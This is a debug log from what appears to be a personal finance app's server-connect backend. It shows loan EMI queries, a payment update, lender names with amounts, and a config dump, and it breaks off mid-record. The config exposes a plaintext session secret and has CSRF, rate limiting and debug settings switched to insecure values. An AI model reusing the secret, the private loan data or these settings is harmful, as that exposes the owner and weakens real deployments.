2026-05-01T04:49:34.174Z server-connect:output restrict: undefined
2026-05-01T04:49:34.174Z server-connect:app Executing action step select
2026-05-01T04:49:34.174Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-05-01T04:49:34.176Z server-connect:output list: [
  {
    id: 380,
    loan_id: 18,
    due_date: '2023-09-01T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 381,
    loan_id: 18,
    due_date: '2023-10-01T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 382,
    loan_id: 18,
    due_date: '2023-11-01T18:30:00.000Z',
    paid_on: '2023-11-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 383,
    loan_id: 18,
    due_date: '2023-12-01T18:30:00.000Z',
    paid_on: '2023-12-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 384,
    loan_id: 18,
    due_date: '2024-01-01T18:30:00.000Z',
    paid_on: '2024-01-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 385,
    loan_id: 18,
    due_date: '2024-02-01T18:30:00.000Z',
    paid_on: '2024-02-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 386,
    loan_id: 18,
    due_date: '2024-03-01T18:30:00.000Z',
    paid_on: '2024-03-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 387,
    loan_id: 18,
    due_date: '2024-04-01T18:30:00.000Z',
    paid_on: '2024-04-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 388,
    loan_id: 18,
    due_date: '2024-05-01T18:30:00.000Z',
    paid_on: '2024-05-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 389,
    loan_id: 18,
    due_date: '2024-06-01T18:30:00.000Z',
    paid_on: '2024-06-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 390,
    loan_id: 18,
    due_date: '2024-07-01T18:30:00.000Z',
    paid_on: '2024-07-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 391,
    loan_id: 18,
    due_date: '2024-08-01T18:30:00.000Z',
    paid_on: '2024-08-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 392,
    loan_id: 18,
    due_date: '2024-09-01T18:30:00.000Z',
    paid_on: '2024-09-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 393,
    loan_id: 18,
    due_date: '2024-10-01T18:30:00.000Z',
    paid_on: '2024-10-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 394,
    loan_id: 18,
    due_date: '2024-11-01T18:30:00.000Z',
    paid_on: '2024-11-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 395,
    loan_id: 18,
    due_date: '2024-12-01T18:30:00.000Z',
    paid_on: '2024-12-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 396,
    loan_id: 18,
    due_date: '2025-01-01T18:30:00.000Z',
    paid_on: '2025-01-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 397,
    loan_id: 18,
    due_date: '2025-02-01T18:30:00.000Z',
    paid_on: '2025-02-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 398,
    loan_id: 18,
    due_date: '2025-03-01T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 399,
    loan_id: 18,
    due_date: '2025-04-01T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 400,
    loan_id: 18,
    due_date: '2025-05-01T18:30:00.000Z',
    paid_on: '2025-05-07T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 401,
    loan_id: 18,
    due_date: '2025-06-01T18:30:00.000Z',
    paid_on: '2025-06-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 402,
    loan_id: 18,
    due_date: '2025-07-01T18:30:00.000Z',
    paid_on: '2025-07-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 403,
    loan_id: 18,
    due_date: '2025-08-01T18:30:00.000Z',
    paid_on: '2025-08-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 404,
    loan_id: 18,
    due_date: '2025-09-01T18:30:00.000Z',
    paid_on: '2025-09-03T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 405,
    loan_id: 18,
    due_date: '2025-10-01T18:30:00.000Z',
    paid_on: '2025-10-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 406,
    loan_id: 18,
    due_date: '2025-11-01T18:30:00.000Z',
    paid_on: '2025-11-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 407,
    loan_id: 18,
    due_date: '2025-12-01T18:30:00.000Z',
    paid_on: '2025-12-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 408,
    loan_id: 18,
    due_date: '2026-01-01T18:30:00.000Z',
    paid_on: '2026-01-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 409,
    loan_id: 18,
    due_date: '2026-02-01T18:30:00.000Z',
    paid_on: '2026-02-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 410,
    loan_id: 18,
    due_date: '2026-03-01T18:30:00.000Z',
    paid_on: '2026-03-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 411,
    loan_id: 18,
    due_date: '2026-04-01T18:30:00.000Z',
    paid_on: '2026-04-20T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 412,
    loan_id: 18,
    due_date: '2026-05-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 413,
    loan_id: 18,
    due_date: '2026-06-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 414,
    loan_id: 18,
    due_date: '2026-07-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 415,
    loan_id: 18,
    due_date: '2026-08-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  }
]
2026-05-01T04:49:41.086Z server-connect:router Serving serverConnect /api/emis/mark-emi-paid
2026-05-01T04:49:41.087Z server-connect:app Executing action step identify
2026-05-01T04:49:41.087Z server-connect:app options: { provider: 'security' }
2026-05-01T04:49:41.087Z server-connect:output identity: 1
2026-05-01T04:49:41.087Z server-connect:app Executing action step restrict
2026-05-01T04:49:41.087Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-01T04:49:41.088Z server-connect:output restrict: undefined
2026-05-01T04:49:41.088Z server-connect:app Executing action step update
2026-05-01T04:49:41.088Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [ [Object], [Object] ],
    table: 'loan_details',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `loan_details` set `paid_on` = ?, `status` = ? where `id` = ? and `loan_id` = ?',
    params: [ [Object], [Object], [Object] ]
  }
}
2026-05-01T04:49:41.090Z server-connect:output update: { affected: 1 }
2026-05-01T04:49:41.317Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-05-01T04:49:41.318Z server-connect:router Serving serverConnect /api/emis/get-loans
2026-05-01T04:49:41.318Z server-connect:app Executing action step identify
2026-05-01T04:49:41.318Z server-connect:app options: { provider: 'security' }
2026-05-01T04:49:41.319Z server-connect:output identity: 1
2026-05-01T04:49:41.319Z server-connect:app Executing action step restrict
2026-05-01T04:49:41.319Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-01T04:49:41.319Z server-connect:app Executing action step identify
2026-05-01T04:49:41.319Z server-connect:app options: { provider: 'security' }
2026-05-01T04:49:41.319Z server-connect:output identity: 1
2026-05-01T04:49:41.319Z server-connect:app Executing action step restrict
2026-05-01T04:49:41.319Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-01T04:49:41.320Z server-connect:output restrict: undefined
2026-05-01T04:49:41.320Z server-connect:app Executing action step select
2026-05-01T04:49:41.320Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-05-01T04:49:41.320Z server-connect:output restrict: undefined
2026-05-01T04:49:41.320Z server-connect:app Executing action step custom
2026-05-01T04:49:41.320Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    lm.id,\n' +
      '    lm.loan_name,\n' +
      '    lm.starting_date,\n' +
      '    lm.ending_date,\n' +
      '    lm.total_amount AS principle_amount,\n' +
      '    lm.no_of_emi,\n' +
      '    lm.interest_amount,\n' +
      '    c.name AS loan_type,\n' +
      '    c1.name AS loan_provider,\n' +
      '    lm.due_date,\n' +
      '    lm.emi_amount,\n' +
      '\n' +
      '    COUNT(ld.id) AS total_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN 1 ELSE 0 END) AS total_pending_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN ld.loan_amount ELSE 0 END) AS total_remaining_amount,\n' +
      '   \n' +
      '    SUM(CASE WHEN ld.status = 1 THEN ld.loan_amount ELSE 0 END) AS total_paid_amount,\n' +
      '\n' +
      '    -- ✅ % Loan Paid\n' +
      '    ROUND(\n' +
      '    CASE \n' +
      '        WHEN lm.no_of_emi > 0\n' +
      '        THEN (\n' +
      '            SUM(CASE WHEN ld.status = 1 THEN 1 ELSE 0 END)\n' +
      '            / lm.no_of_emi\n' +
      '        ) * 100\n' +
      '        ELSE 0\n' +
      '    END\n' +
      ',2) AS percentage_paid\n' +
      'FROM loan_master lm\n' +
      'INNER JOIN collections c \n' +
      '    ON c.id = lm.loan_type \n' +
      'INNER JOIN collections c1 \n' +
      '    ON c1.id = lm.loan_provider \n' +
      'LEFT JOIN loan_details ld \n' +
      '    ON ld.loan_id = lm.id\n' +
      'WHERE lm.status = 0\n' +
      'GROUP BY lm.id;',
    params: []
  }
}
2026-05-01T04:49:41.322Z server-connect:output list: [
  {
    id: 380,
    loan_id: 18,
    due_date: '2023-09-01T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 381,
    loan_id: 18,
    due_date: '2023-10-01T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 382,
    loan_id: 18,
    due_date: '2023-11-01T18:30:00.000Z',
    paid_on: '2023-11-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 383,
    loan_id: 18,
    due_date: '2023-12-01T18:30:00.000Z',
    paid_on: '2023-12-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 384,
    loan_id: 18,
    due_date: '2024-01-01T18:30:00.000Z',
    paid_on: '2024-01-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 385,
    loan_id: 18,
    due_date: '2024-02-01T18:30:00.000Z',
    paid_on: '2024-02-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 386,
    loan_id: 18,
    due_date: '2024-03-01T18:30:00.000Z',
    paid_on: '2024-03-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 387,
    loan_id: 18,
    due_date: '2024-04-01T18:30:00.000Z',
    paid_on: '2024-04-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 388,
    loan_id: 18,
    due_date: '2024-05-01T18:30:00.000Z',
    paid_on: '2024-05-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 389,
    loan_id: 18,
    due_date: '2024-06-01T18:30:00.000Z',
    paid_on: '2024-06-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 390,
    loan_id: 18,
    due_date: '2024-07-01T18:30:00.000Z',
    paid_on: '2024-07-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 391,
    loan_id: 18,
    due_date: '2024-08-01T18:30:00.000Z',
    paid_on: '2024-08-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 392,
    loan_id: 18,
    due_date: '2024-09-01T18:30:00.000Z',
    paid_on: '2024-09-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 393,
    loan_id: 18,
    due_date: '2024-10-01T18:30:00.000Z',
    paid_on: '2024-10-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 394,
    loan_id: 18,
    due_date: '2024-11-01T18:30:00.000Z',
    paid_on: '2024-11-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 395,
    loan_id: 18,
    due_date: '2024-12-01T18:30:00.000Z',
    paid_on: '2024-12-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 396,
    loan_id: 18,
    due_date: '2025-01-01T18:30:00.000Z',
    paid_on: '2025-01-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 397,
    loan_id: 18,
    due_date: '2025-02-01T18:30:00.000Z',
    paid_on: '2025-02-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 398,
    loan_id: 18,
    due_date: '2025-03-01T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 399,
    loan_id: 18,
    due_date: '2025-04-01T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 400,
    loan_id: 18,
    due_date: '2025-05-01T18:30:00.000Z',
    paid_on: '2025-05-07T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 401,
    loan_id: 18,
    due_date: '2025-06-01T18:30:00.000Z',
    paid_on: '2025-06-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 402,
    loan_id: 18,
    due_date: '2025-07-01T18:30:00.000Z',
    paid_on: '2025-07-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 403,
    loan_id: 18,
    due_date: '2025-08-01T18:30:00.000Z',
    paid_on: '2025-08-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 404,
    loan_id: 18,
    due_date: '2025-09-01T18:30:00.000Z',
    paid_on: '2025-09-03T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 405,
    loan_id: 18,
    due_date: '2025-10-01T18:30:00.000Z',
    paid_on: '2025-10-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 406,
    loan_id: 18,
    due_date: '2025-11-01T18:30:00.000Z',
    paid_on: '2025-11-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 407,
    loan_id: 18,
    due_date: '2025-12-01T18:30:00.000Z',
    paid_on: '2025-12-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 408,
    loan_id: 18,
    due_date: '2026-01-01T18:30:00.000Z',
    paid_on: '2026-01-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 409,
    loan_id: 18,
    due_date: '2026-02-01T18:30:00.000Z',
    paid_on: '2026-02-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 410,
    loan_id: 18,
    due_date: '2026-03-01T18:30:00.000Z',
    paid_on: '2026-03-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 411,
    loan_id: 18,
    due_date: '2026-04-01T18:30:00.000Z',
    paid_on: '2026-04-20T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 412,
    loan_id: 18,
    due_date: '2026-05-01T18:30:00.000Z',
    paid_on: '2026-05-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 413,
    loan_id: 18,
    due_date: '2026-06-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 414,
    loan_id: 18,
    due_date: '2026-07-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 415,
    loan_id: 18,
    due_date: '2026-08-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  }
]
2026-05-01T04:49:41.323Z server-connect:output list: [
  {
    id: 9,
    loan_name: 'Hero Fincorp',
    starting_date: 2022-06-07T18:30:00.000Z,
    ending_date: 2027-05-07T18:30:00.000Z,
    principle_amount: 511100,
    no_of_emi: 60,
    interest_amount: 389740,
    loan_type: 'Personal Loan',
    loan_provider: 'Hero Fincorp',
    due_date: '8th',
    emi_amount: 15014,
    total_emi: 60,
    total_pending_emi: '12',
    total_remaining_amount: 180168,
    total_paid_amount: 720672,
    percentage_paid: '80.00'
  },
  {
    id: 10,
    loan_name: 'Slashash Tech',
    starting_date: 2023-03-04T18:30:00.000Z,
    ending_date: 2026-02-01T18:30:00.000Z,
    principle_amount: 600000,
    no_of_emi: 36,
    interest_amount: 57111,
    loan_type: 'Home Loan',
    loan_provider: 'Slashash Tech',
    due_date: '5th',
    emi_amount: 18243,
    total_emi: 36,
    total_pending_emi: '3',
    total_remaining_amount: 54729,
    total_paid_amount: 602019,
    percentage_paid: '91.67'
  },
  {
    id: 11,
    loan_name: 'Fullerton India',
    starting_date: 2023-02-14T18:30:00.000Z,
    ending_date: 2028-03-14T18:30:00.000Z,
    principle_amount: 1015638,
    no_of_emi: 60,
    interest_amount: 379332,
    loan_type: 'Personal Loan',
    loan_provider: 'Fullerton India',
    due_date: '5th',
    emi_amount: 23109,
    total_emi: 60,
    total_pending_emi: '22',
    total_remaining_amount: 508398,
    total_paid_amount: 878142,
    percentage_paid: '63.33'
  },
  {
    id: 12,
    loan_name: 'Kotak Mahindra',
    starting_date: 2023-02-16T18:30:00.000Z,
    ending_date: 2027-01-16T18:30:00.000Z,
    principle_amount: 750000,
    no_of_emi: 48,
    interest_amount: 307000,
    loan_type: 'Personal Loan',
    loan_provider: 'Kotak Mahindra Bank',
    due_date: '2nd',
    emi_amount: 22031,
    total_emi: 48,
    total_pending_emi: '9',
    total_remaining_amount: 198279,
    total_paid_amount: 859209,
    percentage_paid: '81.25'
  },
  {
    id: 18,
    loan_name: 'IND Money',
    starting_date: 2023-08-14T18:30:00.000Z,
    ending_date: 2026-08-01T18:30:00.000Z,
    principle_amount: 155040,
    no_of_emi: 36,
    interest_amount: 37056,
    loan_type: 'Personal Loan',
    loan_provider: 'IND Money',
    due_date: '2nd',
    emi_amount: 5336,
    total_emi: 36,
    total_pending_emi: '3',
    total_remaining_amount: 16008,
    total_paid_amount: 176088,
    percentage_paid: '91.67'
  }
]
2026-05-01T04:50:00.124Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-05-01T04:50:00.306Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-05-01T04:50:00.379Z server-connect:setup:upload Upload middleware configured.
2026-05-01T04:50:00.379Z server-connect:secure CSRF Protection initialized
2026-05-01T04:50:00.382Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-05-01T04:50:00.384Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-05-01T04:50:00.384Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-05-01T04:50:00.385Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-05-01T04:50:00.385Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-05-01T04:50:00.386Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-05-01T04:50:00.387Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-05-01T04:50:00.388Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-05-01T04:50:00.388Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-05-01T04:50:00.391Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-05-01T04:50:00.391Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-05-01T04:50:00.392Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-05-01T04:50:00.392Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-05-01T04:50:00.393Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-05-01T04:50:00.393Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-05-01T04:50:00.393Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-05-01T04:50:00.394Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-05-01T04:50:00.394Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-05-01T04:50:00.394Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-05-01T04:50:00.394Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-05-01T04:50:00.395Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-05-01T04:50:00.395Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-05-01T04:50:00.395Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-05-01T04:50:00.396Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-05-01T04:50:00.396Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-05-01T04:50:00.396Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-05-01T04:50:00.396Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-05-01T04:50:00.397Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-05-01T04:50:00.397Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-05-01T04:50:00.397Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-05-01T04:50:00.397Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-05-01T04:50:00.397Z server-connect:setup:routes Api route /api/test(.json)? created
2026-05-01T04:50:00.398Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-05-01T04:50:00.398Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-05-01T04:50:00.398Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-05-01T04:50:00.398Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-05-01T04:50:00.398Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-05-01T04:50:00.399Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-05-01T04:50:00.527Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-05-01T04:50:00.531Z server-connect:app Executing action step identify
2026-05-01T04:50:00.531Z server-connect:app options: { provider: 'security' }
2026-05-01T04:50:00.533Z server-connect:output identity: 1
2026-05-01T04:50:00.533Z server-connect:app Executing action step restrict
2026-05-01T04:50:00.533Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-01T04:50:00.535Z server-connect:output restrict: undefined
2026-05-01T04:50:00.536Z server-connect:app Executing action step select
2026-05-01T04:50:00.537Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-05-01T04:50:00.542Z server-connect:output list: [
  {
    id: 52,
    loan_id: 9,
    due_date: '2022-06-07T18:30:00.000Z',
    paid_on: '2022-06-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 53,
    loan_id: 9,
    due_date: '2022-07-07T18:30:00.000Z',
    paid_on: '2022-07-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 54,
    loan_id: 9,
    due_date: '2022-08-07T18:30:00.000Z',
    paid_on: '2022-08-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 55,
    loan_id: 9,
    due_date: '2022-09-07T18:30:00.000Z',
    paid_on: '2022-09-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 56,
    loan_id: 9,
    due_date: '2022-10-07T18:30:00.000Z',
    paid_on: '2022-10-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 57,
    loan_id: 9,
    due_date: '2022-11-07T18:30:00.000Z',
    paid_on: '2022-11-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 58,
    loan_id: 9,
    due_date: '2022-12-07T18:30:00.000Z',
    paid_on: '2022-12-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 59,
    loan_id: 9,
    due_date: '2023-01-07T18:30:00.000Z',
    paid_on: '2023-01-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 60,
    loan_id: 9,
    due_date: '2023-02-07T18:30:00.000Z',
    paid_on: '2023-02-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 61,
    loan_id: 9,
    due_date: '2023-03-07T18:30:00.000Z',
    paid_on: '2023-03-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 62,
    loan_id: 9,
    due_date: '2023-04-07T18:30:00.000Z',
    paid_on: '2023-05-01T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 63,
    loan_id: 9,
    due_date: '2023-05-07T18:30:00.000Z',
    paid_on: '2023-05-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 64,
    loan_id: 9,
    due_date: '2023-06-07T18:30:00.000Z',
    paid_on: '2023-06-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 65,
    loan_id: 9,
    due_date: '2023-07-07T18:30:00.000Z',
    paid_on: '2023-07-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 66,
    loan_id: 9,
    due_date: '2023-08-07T18:30:00.000Z',
    paid_on: '2023-08-01T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 67,
    loan_id: 9,
    due_date: '2023-09-07T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 68,
    loan_id: 9,
    due_date: '2023-10-07T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 69,
    loan_id: 9,
    due_date: '2023-11-07T18:30:00.000Z',
    paid_on: '2023-11-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 70,
    loan_id: 9,
    due_date: '2023-12-07T18:30:00.000Z',
    paid_on: '2023-12-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 71,
    loan_id: 9,
    due_date: '2024-01-07T18:30:00.000Z',
    paid_on: '2024-01-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 72,
    loan_id: 9,
    due_date: '2024-02-07T18:30:00.000Z',
    paid_on: '2024-02-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 73,
    loan_id: 9,
    due_date: '2024-03-07T18:30:00.000Z',
    paid_on: '2024-03-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 74,
    loan_id: 9,
    due_date: '2024-04-07T18:30:00.000Z',
    paid_on: '2024-04-02T18:30:00.000Z',
    loan_amount: 15014,
